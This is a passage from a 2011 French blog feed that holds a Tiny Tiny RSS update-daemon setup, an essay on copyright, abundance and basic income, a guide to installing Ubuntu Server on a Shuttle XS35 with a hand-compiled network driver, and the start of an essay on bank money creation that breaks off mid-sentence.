<p>Plusieurs méthodes sont décrites sur <a href="http://tt-rss.org/redmine/wiki/tt-rss/UpdatingFeeds">cette page</a>. Certaines chargent les flux séquentiellement (par <em>cron</em> notamment), ce qui peut poser problème&nbsp;: supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et <em>cron</em> va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement <em>Tiny Tiny RSS</em> pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d&#8217;autant plus dommage que l&#8217;essentiel de la durée nécessaire est le temps de connexion à chacun des sites&nbsp;: mieux vaut donc paralléliser le chargement.</p>
<p>C&#8217;est la raison pour laquelle je préfère la dernière méthode&nbsp;: <strong>lancer un <em>démon</em> multi-processus au démarrage du serveur</strong>. Par contre, étant donné le fonctionnement du <em>démon</em> proposé, il ne semble pas possible d&#8217;en faire un script <em>init.d</em> propre. Le plus simple est donc de rajouter dans <code>/etc/rc.local</code>&nbsp;:</p>
<pre>start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php</pre>
<p><em>Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.</em></p>
<p>Ce <em>démon</em> utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans <code>config.php</code>&nbsp;:</p>
<pre>        define('DAEMON_FEED_LIMIT', 50);</pre>
<p>et dans <code>update_daemon2.php</code>&nbsp;:</p>
<pre>        define('MAX_JOBS', 5);</pre>
<h3>Autres interfaces</h3>
<p>Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d&#8217;ajouter à l&#8217;URL <code>/mobile</code>.</p>
<p>Pour <em>Android</em>, il existe également une application&nbsp;: <a href="http://code.google.com/p/ttrss-reader-fork/">ttrss-reader-fork</a> (à tester, mais je la trouve assez buggée). Pour lui permettre l&#8217;accès, il est nécessaire de sélectionner <em>&laquo;&nbsp;Activer les API externes&nbsp;&raquo;</em> dans la page de configuration de <em>Tiny Tiny RSS</em>.</p>
<h3>Conclusion</h3>
<p>Vous n&#8217;avez plus de raison de laisser traîner vos flux RSS n&#8217;importe où <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>L&#8217;abondance contre l&#8217;économie</title>
		<link>http://blog.rom1v.com/2011/06/labondance-contre-leconomie/</link>
		<comments>http://blog.rom1v.com/2011/06/labondance-contre-leconomie/#comments</comments>
		<pubDate>Wed, 08 Jun 2011 08:42:37 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Humeur]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[Réflexions]]></category>
		<category><![CDATA[dividende universel]]></category>
		<category><![CDATA[hadopi]]></category>
		<category><![CDATA[monnaie]]></category>
		<category><![CDATA[netneutrality]]></category>
		<category><![CDATA[politique]]></category>
		<category><![CDATA[société]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2417</guid>
		<description><![CDATA[Le droit d&#8217;auteur sur Internet Les lois répressives pour défendre le droit d&#8217;auteur sont justifiées par une règle que certains jugent incontestable&#160;: un auteur a le droit de décider la manière dont son œuvre sera diffusée. S&#8217;il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu&#8217;il aura choisis, c&#8217;est [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/copying_is_not_theft.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/copying_is_not_theft.png" alt="" title="copying_is_not_theft" width="300" height="191" class="aligncenter size-full wp-image-2421" /></a></p>
<h3>Le droit d&#8217;auteur sur Internet</h3>
<p>Les lois répressives pour défendre le droit d&#8217;auteur sont justifiées par une règle que certains jugent incontestable&nbsp;: <strong>un auteur a le droit de décider la manière dont son œuvre sera diffusée</strong>. S&#8217;il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu&#8217;il aura choisis, c&#8217;est son choix.</p>
<p>Pourtant, un auteur ne peut pas avoir <em>tous</em> les droits, certains droits sont nécessaires pour le public. Par exemple, ce n&#8217;est pas parce que c&#8217;est <em>son</em> œuvre (laissons ici de côté la part dont il redevable aux créateurs précédents) qu’il peut interdire à la population d&#8217;y penser, d&#8217;en parler, de la critiquer, etc. <strong>Pour quelle raison devrait-il pouvoir interdire son utilisation non-commerciale&nbsp;?</strong></p>
<p>La réponse qui vient à l&#8217;esprit est évidente, c&#8217;est le raisonnement de ceux qui sont favorables à l&#8217;interdiction du partage&nbsp;: un artiste, comme toute autre personne, <strong>a le droit de vivre de son travail</strong>. Si tout le monde peut accéder aux œuvres de manière illimitée et gratuite, alors, disent-ils, l&#8217;artiste ne pourra plus vendre son travail.</p>
<p>Ceux qui sont favorables à la légalisation du partage de fichiers leur répondront que <a href="http://www.laquadrature.net/wiki/Etudes_sur_le_partage_de_fichiers">ceux qui téléchargent le plus sont ceux qui achètent le plus</a>, que de nouveaux modèles économiques sont nécessaires, qu&#8217;une meilleure diffusion augmente la notoriété de l&#8217;artiste, qui pourra ainsi attirer plus de monde à ses concerts, etc. Mais surtout, bien avant les arguments économiques, <strong>ils défendent ce qu&#8217;ils jugent meilleur pour la société</strong>.</p>
<p>En effet, pour la société, la culture a tout à gagner à être abondante et accessible à tous. Le problème est que sa &laquo;&nbsp;valeur marchande&nbsp;&raquo; diminue lorsque son abondance augmente. La dématérialisation permet la surabondance&nbsp;: tout le monde peut <a href="http://blog.rom1v.com/2010/08/piratage-ou-usage-commun/">partager et copier</a> indéfiniment et gratuitement. Nous ne pouvons pas rêver mieux si nous défendons l&#8217;abondance.</p>
<p>Par contre, si nous nous concentrons sur la valeur marchande, nous en concluons que l&#8217;abondance ruine la culture, car alors il n&#8217;est pas possible de la faire payer. Ainsi nous nous lançons dans une guerre contre le partage <strong>pour restaurer une rareté propice à satisfaire une demande solvable</strong>, au nom des intérêts supposés des auteurs (et surtout <a href="http://www.numerama.com/magazine/18621-la-democratisation-de-la-culture-n-est-pas-dans-l-interet-de-la-mpaa.html">des ayant-droits</a>).</p>
<p>Il semble donc y avoir une opposition directe entre l&#8217;intérêt des auteurs et celui de la société. Si nous devions choisir entre les deux, nous pourrions nous inspirer de la pensée de Victor Hugo&nbsp;:</p>
<blockquote><p>Le livre, comme livre, appartient à l&#8217;auteur, mais comme pensée, il appartient – le mot n’est pas trop vaste – au genre humain. Toutes les intelligences y ont droit. Si l&#8217;un des deux droits, le droit de l&#8217;écrivain et le droit de l&#8217;esprit humain, devait être sacrifié, ce serait, certes, le droit de l&#8217;écrivain, car l&#8217;intérêt public est notre préoccupation unique, et tous, je le déclare, doivent passer avant nous.</p></blockquote>
<p>Mais ces intérêts sont-ils réellement en conflit&nbsp;? Et pourquoi&nbsp;?</p>
<h3>Une restriction étrange</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/forbidden.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/forbidden.png" alt="" title="forbidden" width="128" height="128" class="alignleft size-full wp-image-2430" /></a><br />
La diffusion sans restriction de la culture et de la connaissance est sans conteste bénéfique pour la société.<br />
<strong>Mais est-elle bénéfique pour les auteurs&nbsp;?</strong> Sans aucun doute&nbsp;: rendre accessible à davantage de personnes leurs œuvres sans aucun coût ni travail supplémentaire leur est profitable. La seule condition pour eux est d&#8217;obtenir les moyens de leur subsistance (ce que de toute façon, pour la plupart, les droits d&#8217;auteur ne leur permettent pas dans le système actuel).</p>
<p>Nous sommes donc dans une situation très étonnante&nbsp;: <strong>le partage et la diffusion illimitée sont dans l&#8217;intérêt à la fois des auteurs et du public</strong>, mais les échanges sont volontairement restreints (par la loi) à cause d&#8217;un problème économique. C&#8217;est donc l&#8217;économie qui empêche des échanges, que rien ne limiterait par ailleurs. N&#8217;y voyez-vous pas un paradoxe&nbsp;?</p>
<h3>L&#8217;économie</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/dollars.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/dollars.png" alt="" title="dollars" width="128" height="81" class="alignleft size-full wp-image-2432" /></a><br />
<strong>L&#8217;économie a pour objectif de résoudre les problèmes de rareté</strong> auxquels la société doit faire face. Pour cela, elle valorise ce qui est rare – c&#8217;est-à-dire un produit ou un service dont la demande est supérieure à l&#8217;offre – pour inciter les entreprises à mettre en œuvre des moyens de production répondant à ce besoin. A priori, c&#8217;est un mécanisme pertinent&nbsp;: les besoins de la population sont ainsi satisfaits au mieux, en privilégiant la production de ce qui est insuffisant.</p>
<p><strong>Mais que se passe-t-il lorsque les problèmes de rareté sont résolus dans un domaine&nbsp;?</strong> Tant mieux, pensons-nous, le but de l&#8217;économie est atteint, nous avons réussi. Nous pouvons alors augmenter la liberté de la population en réduisant leur dépendance vis-à-vis d&#8217;intermédiaires devenus inutiles, en rendant les moyens de production et de reproduction accessibles à tous. Mais paradoxalement, comme l&#8217;objectif est atteint, nous ne pouvons plus gagner d&#8217;argent. C&#8217;est simple&nbsp;: une demande limitée, une offre illimitée et un <a href="http://fr.wikipedia.org/wiki/Co%C3%BBt_marginal">coût marginal</a> nul impliquent <strong>un prix nul</strong>.</p>
<p><strong>Comment faire fonctionner l&#8217;économie dans ce cas&nbsp;?</strong> La demande est limitée, nous pouvons tenter de l&#8217;augmenter (éventuellement grâce à l&#8217;<a href="http://fr.wikipedia.org/wiki/Obsolescence_programm%C3%A9e">obsolescence programmée</a>). Mais surtout nous devons empêcher que l&#8217;offre soit illimitée, en enlevant (par la loi ou par la technique) les moyens de (re)production des mains de la population, pour rendre le coût marginal non nul (obliger à faire payer chaque instance du produit en passant par un intermédiaire forcé). Il faut alors restreindre pour faire du bénéfice (cette règle est aussi valable pour <a href="http://www.numerama.com/magazine/15665-neutralite-du-net-voila-ce-qui-arrive-quand-on-ne-la-defend-pas.html">le réseau Internet lui-même</a>).</p>
<p>Pour gagner de l&#8217;argent, il nous faut donc lutter contre notre objectif&nbsp;: l&#8217;abondance. Et vu qu&#8217;il faut gagner de l&#8217;argent pour vivre, il est vital d&#8217;aller à l&#8217;encontre de ce qui est bénéfique pour la société. N&#8217;est-ce pas absurde&nbsp;?</p>
<p><strong>C&#8217;est la raison pour laquelle je suis convaincu qu&#8217;une partie des échanges doit être hors-marché.</strong> Je pense que nous devrions réserver l&#8217;économie aux domaines où elle fonctionne, lorsqu&#8217;elle améliore la société, c&#8217;est-à-dire quand nous devons gérer la rareté. Le reste des échanges – lorsqu&#8217;il y a abondance – doit être hors-marché, car sinon l&#8217;économie tenterait d&#8217;y restaurer une rareté artificielle. <em>Certains réfléchissent aussi à des <a href="http://www.webisteme.com/blog/?p=384">monnaies d&#8217;abondance</a>.</em></p>
<h3>Les domaines d&#8217;abondance</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/internet.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/internet.png" alt="" title="internet" width="128" height="128" class="alignleft size-full wp-image-2435" /></a><br />
<strong>L&#8217;arrivée du numérique a <em>de facto</em> rendu tout ce qui est immatériel abondant.</strong> La musique est le premier domaine à avoir massivement profité de cette amélioration technologique, suivie par les films, les jeux vidéos, les livres, l&#8217;information, etc. Les industries travaillant dans ces domaines d&#8217;activité ont toutes un point commun&nbsp;: <strong>leurs modèles économiques sont en train de s&#8217;effondrer</strong>.</p>
<p><strong>Mais ce progrès ne devrait pas s&#8217;arrêter à l&#8217;immatériel</strong>&nbsp;: une seconde vague d&#8217;abondance pourrait bien accélérer le processus d&#8217;évolution de la société&nbsp;: l&#8217;<a href="http://www.framablog.org/index.php/post/2011/05/26/fab-lab-education">autofabrication</a> à portée de tous (par exemple l&#8217;<a href="http://www.framablog.org/index.php/post/2011/05/25/impression-3D-attention-danger">impression 3D</a>) permettra potentiellement à chaque foyer de posséder sa propre usine miniature à faible coût. Beaucoup d&#8217;entreprises pourront mettre la clé sous la porte&nbsp;: pourquoi j&#8217;irai acheter une chaise dans un magasin si je peux la télécharger et &laquo;&nbsp;l&#8217;imprimer&nbsp;&raquo; chez moi&nbsp;?</p>
<blockquote><p>Dans une génération, on sera bien en peine d&#8217;expliquer à nos petits-enfants comment on a pu vivre sans son <em>autofabricateur</em>, et qu&#8217;on devait commander des biens préfabriqués en ligne et attendre qu&#8217;ils nous arrivent dans notre boîte aux lettres livrés par la Poste.</p></blockquote>
<p>Cette prospérité est inéluctable. Mais surtout, et je voudrais insister là-dessus, elle est <strong>souhaitable</strong>. Comment en sommes-nous arrivé à croire le contraire&nbsp;? La question ne devrait pas être de savoir si oui ou non il faut <em>tolérer</em> le partage de fichiers, mais au contraire comment faire pour l&#8217;<strong>encourager</strong>.</p>
<h3>Corriger le problème économique</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/chat.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/chat.png" alt="" title="chat" width="128" height="128" class="alignleft size-full wp-image-2440" /></a></p>
<p>L&#8217;équilibre entre l&#8217;abondance et la rareté évolue. Dans un monde de rareté, l&#8217;économie peut fonctionner. Dans un monde d&#8217;abondance absolue, l&#8217;économie telle que nous la connaissons serait contre-productive, et à la limite il n&#8217;y aurait pas besoin d&#8217;argent (aurions-nous inventé l&#8217;argent si rien n&#8217;était rare&nbsp;?). Mais le problème se pose lorsque le monde <a href="http://www.cornu.eu.org/news/introduction-de-internet-tome-2-services-et-usages-de-demain">est composé à la fois de domaines d&#8217;abondance et de rareté</a>&nbsp;: pourquoi les personnes travaillant dans un domaine d&#8217;abondance ne pourraient-elles pas gagner d&#8217;argent, alors que celles travaillant dans un domaine de rareté le pourraient&nbsp;?</p>
<p>Quelles sont les solutions envisagées pour le résoudre&nbsp;? En voici cinq (peut-être y en a-t-il d&#8217;autres).</p>
<h4>La rareté imposée</h4>
<p>La première, c&#8217;est d&#8217;imposer par la loi ou par la technique la rareté, pour lutter au maximum contre l&#8217;abondance des choses. C&#8217;est la solution envisagée par beaucoup de lois actuelles (<em>Hadopi</em> en France), souvent écrites par les lobbies des entreprises qui bénéficient de cette rareté. Sans commentaire.</p>
<h4>Les profits indirects</h4>
<p>La deuxième consiste à bénéficier de l&#8217;abondance pour atteindre un public plus important. Typiquement, un chanteur rend sa musique accessible à tous, cela contribuera à le faire connaître et lui permettra d&#8217;attirer plus de monde à ses concerts. L&#8217;idée est séduisante, mais elle ne s&#8217;applique pas à tous les domaines (il serait par exemple difficile pour un écrivain d&#8217;obtenir des profits indirects). Néanmoins, même si elle est insuffisante, cette solution est naturellement plébiscitée lorsque c&#8217;est possible.</p>
<h4>La contribution créative</h4>
<p>La troisième est une contribution forfaitaire, appelée <strong>contribution créative</strong> (plus connue sous le nom de <em>licence globale</em>), versée mensuellement par chaque internaute. Philippe Aigrain détaille cette proposition dans son livre <a href="http://www.laquadrature.net/fr/livre-internet-creation-de-philippe-aigrain">Internet &#038; Création</a>. Elle possède un atout majeur&nbsp;: <strong>autoriser et favoriser les échanges hors-marché.</strong></p>
<p>Néanmoins, j&#8217;émets quelques doutes&nbsp;: je la considère comme une solution temporaire. En effet, si le calcul prend en compte les médias (musique, films, livres…), toute forme de création (présente et future) n&#8217;est pas concernée, comme par exemple les logiciels libres. Sans parler de la future duplication des objets matériels évoquée plus haut.</p>
<p>De plus, elle ne prend pas en compte l&#8217;augmentation de la diversité&nbsp;: plus il y a d&#8217;auteurs, moins chaque auteur sera rémunéré.</p>
<p>Enfin, ce mécanisme induit nécessairement une centralisation&nbsp;: chaque auteur devrait adhérer à une gestion collective, et nous devrions mesurer la proportion des échanges pour redistribuer la cagnotte à chacun. Je suis a priori réticent face à une telle centralisation (mais pourquoi pas&nbsp;?).</p>
<h4>Le don</h4>
<p>Une autre solution est la rémunération par le don. Le principe est simple&nbsp;: chaque œuvre est accessible à tous, ceux qui ont apprécié peuvent rémunérer l&#8217;auteur. Ce mécanisme peut sembler bien limité&nbsp;: le montant récolté sera probablement insuffisant, et utilisé seul, l&#8217;incertitude de revenu ne favoriserait pas la pratique d&#8217;activités non marchandes.</p>
<p>Cependant, ce système de rémunération est intéressant, car il favorise les échanges hors-marché tout en permettant une rétribution de l&#8217;auteur, sans centralisation.</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/wallet.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/wallet.png" alt="" title="wallet" width="128" height="128" class="alignright size-full wp-image-2442" /></a></p>
<h4>Le revenu de base</h4>
<p>Enfin, la solution que je trouve la plus séduisante est le <a href="http://owni.fr/2011/03/17/revenu-minimum-garanti/">revenu de base</a>, un revenu versé inconditionnellement à chacun et suffisant pour vivre.</p>
<p>Une fois ce revenu garanti, certains ne s’épanouiraient-ils pas dans des domaines moins rémunérateurs, mais davantage bénéfiques pour tout le monde&nbsp;? D&#8217;autant que ce n&#8217;est pas l&#8217;argent <a href="http://www.framablog.org/index.php/post/2010/08/25/motivation">qui nous motive vraiment dans le travail</a> (encore faut-il en avoir suffisamment pour vivre).</p>
<p>Ne croyez-vous pas qu&#8217;un frein majeur au développement des logiciels libres (par définition copiables, donc abondants) soit justement <strong>la nécessité de gagner de l&#8217;argent sur la rareté</strong>&nbsp;? Bien sûr, il est possible d&#8217;être rémunéré indirectement, par les services, le support… Mais est-ce suffisant&nbsp;? Les entreprises sont même parfois contraintes de <a href="http://philippe.scoffoni.net/logiciel-proprietaire-finance-logiciel-libre/">financer le logiciel libre par le logiciel propriétaire</a>…</p>
<p>Par ailleurs, dans le domaine de l&#8217;information où l&#8217;indépendance est capitale, ce revenu de base s&#8217;ajoutant aux autres sources de financement pourrait contribuer à <strong>réduire la dépendance économique des journalistes</strong>.</p>
<p><strong>Ce ne sont que quelques arguments en faveur du <em>revenu de base</em>.</strong> J&#8217;en développe d&#8217;autres dans mon billet consacré au <a href="http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe/">dividende universel</a>, et je détaille <a href="http://blog.rom1v.com/2011/05/linjustice-monetaire/">l&#8217;injustice monétaire</a>, un argument central justifiant sa mise en place.</p>
<p>À propos de la monnaie justement, <strong>le don est actuellement découragé à cause de la structure centralisée du système monétaire</strong>. Je pense qu&#8217;une monnaie à <em>dividende universel</em> permettrait de faciliter cette forme de rémunération supplémentaire…</p>
<p><strong>Je suis persuadé que cette proposition est au moins une partie de la solution au problème économique de l&#8217;abondance.</strong> Je regrette qu&#8217;elle soit si peu évoquée dans les débats sur le droit d&#8217;auteur. </p>
<h3>Conclusion</h3>
<p>Je souhaite que le libre partage de la culture, de la connaissance, et plus généralement de tous les biens <a href="http://fr.wikipedia.org/wiki/Biens_rivaux">non-rivaux</a> soit légalisé. Non pas pour quémander un droit qui serait illégitime, mais au contraire parce que je pense que c&#8217;est <strong>une évolution nécessaire et positive pour la société</strong>. En particulier, l&#8217;utilisation non-commerciale d&#8217;une œuvre devrait être un droit du public non contestable par l&#8217;auteur.</p>
<p>Nous ne pouvons accepter le seul argument économique pour justifier de lutter contre l&#8217;abondance, alors même que l&#8217;économie a pour objectif de résoudre des problèmes de rareté. <strong>Nous devons au contraire mettre en place un système qui assure la subsistance de chacun et qui favorise le partage et l&#8217;abondance.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/labondance-contre-leconomie/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Installer Ubuntu Server sur un Shuttle XS35</title>
		<link>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/</link>
		<comments>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 22:21:48 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2384</guid>
		<description><![CDATA[Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n&#8217;y a pas de ventilateur) et consomme peu. Je n&#8217;envisageais pas d&#8217;écrire un billet, mais l&#8217;installation d&#8217;Ubuntu Server 11.04 ne se déroule pas sans incidents&#160;: Aucune interface réseau n&#8217;a été détectée C&#8217;est le genre de problèmes qu&#8217;on espère un jour [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/XS35.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/XS35-146x300.jpg" alt="" title="XS35" width="146" height="300" class="alignright size-medium wp-image-2385" /></a></p>
<p>Je viens de migrer mon <a href="http://blog.rom1v.com/2009/01/nouveau-blog-100-libre/">auto-hébergement</a> vers cette <a href="http://www.shuttle.eu/fr/produits/discontinued/barebones/xs35gt/apercu/">nouvelle machine</a>. Elle est très silencieuse (il n&#8217;y a pas de ventilateur) et consomme peu.</p>
<p>Je n&#8217;envisageais pas d&#8217;écrire un billet, mais l&#8217;installation d&#8217;<em>Ubuntu Server 11.04</em> ne se déroule pas sans incidents&nbsp;:</p>
<blockquote><p>Aucune interface réseau n&#8217;a été détectée</p></blockquote>
<p>C&#8217;est le genre de problèmes qu&#8217;on espère un jour ne plus connaître lorsqu&#8217;on installe une distribution… Surtout lorsque ce problème en provoque d&#8217;autres… Ceci est donc un <em>aide-mémoire</em> qui me sera utile pour une future installation.</p>
<h3>Installation</h3>
<p>Tout d&#8217;abord, il faut ignorer le message d&#8217;erreur, tant pis, l&#8217;installation sera effectuée sans réseau.</p>
<p>Ensuite la section <em>Choisir et installer des logiciels</em>, il ne faut surtout pas activer <code>Mail</code> (<code>postfix</code> et <code>dovecot</code>) dans la liste&nbsp;: cela ferait planter le processus d&#8217;installation car il ne trouve pas d&#8217;interface réseau. En effet, dans <code>/var/log/syslog</code>, on trouve une erreur du genre&nbsp;:</p>
<pre>postfix/sendmail: fatal: could not find any active network interfaces</pre>
<p>On installera donc le serveur mail plus tard.</p>
<p>En suivant ces conseils, l&#8217;installation doit se dérouler correctement.</p>
<h3>Récupération des pilotes</h3>
<p>À partir d&#8217;un autre ordinateur, récupérer la dernière version des <a href="ftp://driver.jmicron.com.tw/Ethernet/Linux/">sources du pilote</a> (j&#8217;en fait une <a href="http://dl.rom1v.com/drivers-shuttle-xs35/jme-1.0.7.1.tbz2">copie</a> chez moi, au cas où).</p>
<p>Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter <code>sudo make install</code>. Sauf que <code>make</code> n&#8217;est pas installé par défaut sur <em>Ubuntu Server</em> (merci <em>Ubuntu</em>&nbsp;!), et pour l&#8217;installer, il faut le réseau… qu&#8217;on aura une fois qu&#8217;on aura installé les pilotes…</p>
<p>Heureusement, on peut s&#8217;en sortir manuellement. Pour cela, sur un ordinateur qui possède <code>make</code> (avec le même noyau pour la même architecture), extraire les sources de l&#8217;archive dans un répertoire et exécuter&nbsp;:</p>
<pre>tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make</pre>
<p>Cela crée un fichier <a href="http://dl.rom1v.com/drivers/jme.ko"><code>jme.ko</code></a> (je suis gentil, je vous donne le fichier déjà compilé pour le noyau <code>2.6.38-8-server</code> en <code>amd64</code>). Le copier sur une clé USB.</p>
<h3>Installation des pilotes</h3>
<p>Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme <code>/dev/sdX1</code>). Pour cela, (une technique parmi d&#8217;autres) juste après l&#8217;avoir branchée, exécuter&nbsp;:</p>
<pre>tail /var/log/syslog</pre>
<p>La commande doit afficher plusieurs lignes ressemblant à ceci&nbsp;:</p>
<pre>Jun  6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk</pre>
<p>Ici, l&#8217;emplacement est donc <code>/dev/sdb1</code>.</p>
<p>Monter donc la clé&nbsp;:</p>
<pre>sudo mount /dev/sdb1 /mnt</pre>
<p>Puis installer le pilote compilé au bon endroit et l&#8217;activer&nbsp;:</p>
<pre>sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme</pre>
<h3>Finaliser l&#8217;installation</h3>
<p>Ajouter à la fin de <code>/etc/network/interfaces</code>&nbsp;:</p>
<pre>auto eth0
iface eth0 inet dhcp</pre>
<p>Et rebooter&nbsp;:</p>
<pre>sudo reboot</pre>
<p>Normalement, la carte devrait être détectée (on peut tester avec <code>ifconfig</code>).</p>
<p>Si tout est OK, on peut maintenant <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">installer le serveur mail</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>L&#8217;injustice monétaire</title>
		<link>http://blog.rom1v.com/2011/05/linjustice-monetaire/</link>
		<comments>http://blog.rom1v.com/2011/05/linjustice-monetaire/#comments</comments>
		<pubDate>Tue, 10 May 2011 20:28:45 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Analyses]]></category>
		<category><![CDATA[Réflexions]]></category>
		<category><![CDATA[dividende universel]]></category>
		<category><![CDATA[monnaie]]></category>
		<category><![CDATA[politique]]></category>
		<category><![CDATA[société]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2298</guid>
		<description><![CDATA[﻿Dans un récent billet, je défendais l&#8217;idée d&#8217;un dividende universel. Je voudrais maintenant m&#8217;attarder sur le problème central à l&#8217;origine de cette proposition&#160;: le mécanisme actuel de la création monétaire. L&#8217;argent e(s)t la dette On parle beaucoup d&#8217;une de ses conséquences (surtout en ce moment)&#160;: la dette publique. Si nous n&#8217;avons aucune idée de son [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/05/dette.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/05/dette.png" alt="" title="dette" width="243" height="257" class="alignright size-full wp-image-2308" /></a></p>
<p>﻿Dans un récent billet, je défendais l&#8217;idée d&#8217;un <a href="http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe/">dividende universel</a>. Je voudrais maintenant m&#8217;attarder sur le problème central à l&#8217;origine de cette proposition&nbsp;: le mécanisme actuel de la création monétaire.</p>
<h3>L&#8217;argent e(s)t la dette</h3>
<p>On parle beaucoup d&#8217;une de ses conséquences (surtout en ce moment)&nbsp;: <strong>la dette publique</strong>.</p>
<p>Si nous n&#8217;avons aucune idée de son fonctionnement, nous pouvons penser que nous dépensons trop, et qu&#8217;il serait bon de songer à rembourser cette fichue dette. Sans explications, devant le compteur de la dette nationale défilant à toute allure en bas d&#8217;un écran de télévision pendant un JT, les téléspectateurs croient sans doute qu&#8217;une politique de rigueur est nécessaire, car après tout, il est bien naturel rembourser ses dettes. Quelle arnaque&nbsp;! <strong>Si nous remboursions nos dettes, il n&#8217;y aurait plus d&#8217;argent</strong>&nbsp;: l&#8217;argent provient de la dette. Au seul bénéfice des banques.</p>
<p>Posez-vous la question&nbsp;: comment est-il possible que nous soyons tous (les ménages, les entreprises, les États) endettés en même temps (<a href="http://www.20minutes.fr/article/708913/economie-pourquoi-grece-pourrait-faire-faillite">certains jusqu&#8217;à la &laquo;&nbsp;faillite&nbsp;&raquo;</a>), alors que nous créons toujours plus de richesses&nbsp;? Envers qui sommes-nous tous endettés, et pourquoi&nbsp;?</p>
<h3>Création d&#8217;argent ex nihilo</h3>
<p>Voyons comment tout cela fonctionne.</p>
<p><ins datetime="2011-11-15T22:30:00+01:00"><em>Pour plus de détails et de sources, suivez les <a href="http://blog.rom1v.com/2011/05/linjustice-monetaire/#comments">nombreux liens en commentaires</a>.</em></ins><br />
<ins datetime="2011-12-04T00:00:00+01:00"><em>Ou ce billet&nbsp;: <a href="http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants/">Comprendre le mystère de l&#8217;argent et le problème des intérêts manquants</a>.</em></ins></p>
<p>Lorsqu&#8217;une banque accorde un crédit à un client (par exemple pour acheter une maison), elle ne lui prête pas l&#8217;argent qu&#8217;elle a&nbsp;: elle le crée (par une opération comptable). Le client va ensuite lui rembourser, sur plusieurs années, grâce à sa dure labeur, l&#8217;argent qu&#8217;elle lui a &laquo;&nbsp;prêté&nbsp;&raquo;, avec des intérêts. Au fur et à mesure du remboursement du principal, l&#8217;argent est &laquo;&nbsp;détruit&nbsp;&raquo; (de la même manière qu&#8217;il a été &laquo;&nbsp;créé&nbsp;&raquo;, c&#8217;est la raison pour laquelle il n&#8217;y aurait plus d&#8217;argent si nous remboursions nos dettes), mais il reste les intérêts, qui eux, sont au seul profit de la banque (qui sont des intérêts sur de l&#8217;argent qu&#8217;elle n&#8217;avait pas&nbsp;!). Il n&#8217;est d&#8217;ailleurs possible de lui payer qu&#8217;en récupérant, grâce à son travail, l&#8217;argent issu d&#8217;autres prêts effectués (indirectement), puisque (presque) tout l&#8217;argent vient de la dette. Déjà, l&#8217;injustice est flagrante&nbsp;: une banque privée crée de l&#8217;argent à son profit à partir du travail des autres, sans rien faire (à part manipuler une base de 